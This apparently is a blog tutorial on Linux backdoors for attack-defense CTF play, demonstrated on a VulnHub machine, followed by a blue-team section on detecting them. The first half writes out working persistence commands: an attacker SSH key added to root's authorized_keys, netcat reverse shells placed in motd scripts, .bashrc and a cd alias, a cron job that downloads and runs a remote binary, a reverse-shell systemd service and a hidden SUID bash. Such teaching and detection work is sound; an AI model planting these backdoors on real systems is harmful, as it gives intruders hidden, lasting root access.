Linux Backdoors

Photo by Dima Pechurin on Unsplash

In Attack-Defense CTF, leaving backdoors is an important part of maintaining access on the target system. As a result, learning some of the backdoor techniques is essential, not only for attackers but also for defenders.

Backdoors, what is it?

Well, I’m not going to go into as much detail as Wikipedia, but here’s:

A backdoor is a hidden piece of code, script, or a program that is placed on a system for persistence purposes, with that you don’t have to exploit the same system twice. It simply gives you quicker and instant access to the system.

Now that we know what a backdoor is, let’s find out where the attackers typically hide them in a Linux system. For demonstration, I’ll be using the Pinky’s Palace machine from VulnHub, and let’s pretend it’s been compromised.

1. SSH authorized_keys file

SSH authorized_keys file contains a list of authorized users/public keys that are allowed to login into a specific account. In this file, the attackers can also place their public keys to authorize themselves and get instant access to the system via SSH.

For example, below are the exploitation steps to gain root access on the target system (Pinky’s Palace).


Of course, as an attacker, I don’t want to repeat all these exploitation steps all over again.

So instead, on my attacking machine, I can generate a new pair of SSH keys for backdoor purpose.


The newly generated SSH public key ( can be inserted into the root authorized_keys file of the compromised system as a backdoor.

mkdir -p /root/.ssh/ && echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILaxTiK3WJJ422K1yf/9yXFWBeWV6mpZxMEualO2uIul root@kali' > /root/.ssh/authorized_keys

Now by specifying backdoor_ssh as the identity file (private key), I’m able to gain access on the compromised system via SSH.


2. SSH motd

This is one of the cool tricks I’ve learned from HackTheBox machine called Traceback.

Motd (Message of the day) is the banner that appears when you log in to a machine using SSH. For Ubuntu/Debian motd scripts can be found under /etc/update-motd.d/. By default, other users don’t have write permission on that directory.


In the image above, there is only one motd script called 10-uname.

As an attacker, I could place a new script there as a backdoor. For example, I will put a netcat reverse shell script called 20-backdoor under /etc/update-motd.d/.

root@pinkys-palace:/etc/update-motd.d# echo -e '#!/bin/sh\nnc 9001 -e /bin/bash &' > 20-backdoor && chmod +x 20-backdoor

Then I will setup a netcat listener and login into the compromised machine using a low privilege account named pinky.


As you can see, that SSH login triggered my reverse shell backdoor.

But wait, I logged in using pinky. How did I end up with a root shell?

Here is the answer:

​ Executable scripts in /etc/update-motd.d/* are executed by pam_motd(8) as the root user at ​ each login, and this information is concatenated in /var/run/motd. The order of script ​ execution is determined by the run-parts(8) –lsbsysinit option (basically alphabetical ​ order, with a few caveats).

3. User’s .bashrc - Interactive session

.bashrc is one of the startup scripts used by Bourne shell aka bash. If there is a user who uses bash as their login shell, then this .bashrc will be executed for each interactive session they launch.

Here are some actions that trigger interactive session:


In the image above, I inserted a non malicious line script echo "I'm triggered" to my .bashrc. But now, as an attacker, I can put a reverse shell there, and I will just wait for someone to log in to trigger it.

pinky@pinkys-palace:~$ echo 'nc 9001 -e /bin/bash >/dev/null &' > .bashrc


4. User’s .bashrc - Aliases

As an attacker, I can also put the backdoor in the users' aliases!

Here is an example of a backdoored cd command.

root@pinkys-palace:~# alias cd='$(nc 9001 -e /bin/bash&); cd'


Here are some alias backdoors:

5. Cron jobs

Cron is a feature from Linux/UNIX-like OS that can be used to periodically perform a specific job or task just like Task Scheduler in Windows.

Here is an example of a backdoor using Cron job.

root@pinkys-palace:~# echo '* * * * * root cd /tmp; wget && chmod +x backdoor && ./backdoor' > /etc/cron.d/backdoor

What the task above does is it will download a malicious binary called ‘backdoor’ from my attacking machine, and the backdoor is then executed once every minute.


6. Backdoor as a Service

An attacker can also create a backdoor as a service (BaaS). Here is an example of BaaS in a single file (backdoor.service):

ExecStart=/bin/bash -c "bash -i >& /dev/tcp/ 0>&1"

When the service is started, it launches a reverse shell to the attacker.

root@pinkys-palace:/etc/systemd/system# systemctl start backdoor.service


It can be enabled on boot by issuing the following command:

root@pinkys-palace:/etc/systemd/system# systemctl enable backdoor.service


The last one on this post is SUID. SUID allows other user to run an executable binary as the owner of the executable.

As an example, I can make a copy of bash binary (owned by root) called .backdoor (notice the dot) with SUID permission set to a low privilege user who has been compromised.


Why do I add dot?

Some poeple tend to just use ls -l rather than ls -la, and this becomes an advantage for attackers to put a backdoor with a dot. It’s not just about SUID though, it applies to other backdoors as well (out of topic but cough and .git folder cough).

Blue team side

Before reading further, I’ll state that if your server (irl) gets hacked, it’s better to restore the server’s backup or completely rebuild it from scratch, because in the real world, those backdoors can be obfuscated and combined with other techniques (not to mention there might be a rootkit too), making it difficult to detect/find.

Also what I share here might not be that effective, but here is how I usually deal with those backdoors in attack-defense CTF.

SSH keys and .bashrc.

Make sure to regularly check the all the users authorized_keys file.

In the image below, there is a public key with a foreign hostname kali instead of pinkys-palace, then we should suspect it.


Well, actually, the attackers might have tricked it to look like it was a legitimate one.

My workaround here is why don’t we create a ‘skeleton’ file of all the authorized_keys files and set a Cronjob which automatically reverts these files back to its original state, and I might perform this remotely via scp. This can be applied as well to handle backdoor in .bashrc .

You can find the skeleton file of .bashrc at /etc/skel.

SSH motd

It’s not always placed under /etc/update-motd.d/, but make sure the motd directory is only writable by root, note the default list of motd files and apply the same thing as above (skeleton file) because the attackers might have inserted a backdoor in the original files.

We could also do some ‘forensics’ using timestamp:

root@MSI:/etc/update-motd.d# ls --full-time

For example, these files with the timestamp 000000000 (nano) in the image below have most likely not been modified and are still in their original state.


After inserting a non-malicious line, the timestamp changed. From here, it’s safe to assume that someone/something has modified it.


Cronjobs and Services

We can monitor the process using netstat and ps command. Anything that looks like a program with unknown IP and a port supplied as its args (a reverse shell or a bind shell) is definitely suspicious.

For this, we can look for any unwanted open ports using this command:

$ netstat -antp | grep LISTEN

To find a suspicious connection we can use this command:

$ netstat -antp | grep ESTABLISHED


Sometimes the state of a reverse shell backdoor is neither ESTABLISHED nor LISTEN but SYN_SENT. This occurs when the backdoor fail to reach out the attacker. To find this we can use the following command:

$ netstat -antp | grep SYN_SENT

We could also check each user’s crontab using the following commands:

$ for user in $(cat /etc/passwd | cut -f1 -d: ); do echo $user; crontab -u $user -l; done

# Only users who have login shell
$ for user in $(cat /etc/passwd | grep sh$ | cut -f1 -d: ); do echo $user; crontab -u $user -l; done

There is also the ps -f command which is pretty good at visualizing the process tree. For example, here we know that the culprit that keeps opening the HTTPS port (443) is probably on .bashrc file because it gets triggered every time we launch a bash shell (interactive session).


If you prefer the detailed view, consider to use ps auxfww to show process tree with username, TTY, and a wide output.

Finding SUID

To find some suspicious SUID we can use the find commands. It can also detect the SUID that started with dot!

root@pinkys-palace:/etc/update-motd.d# find / -type f -perm 4755 2>/dev/null



Sorry for my stupidity, I forget to update this section.

Using -perm 4755, you will not find a file with permissions set to 4755, 4765, 4701, etc.

We can change it to -perm -u=s, so it will always search for the SUID permission (the s/4 part).

$ find / -type f -perm -u=s 2>/dev/null

Okay, that’s all in this post, I hope you like it.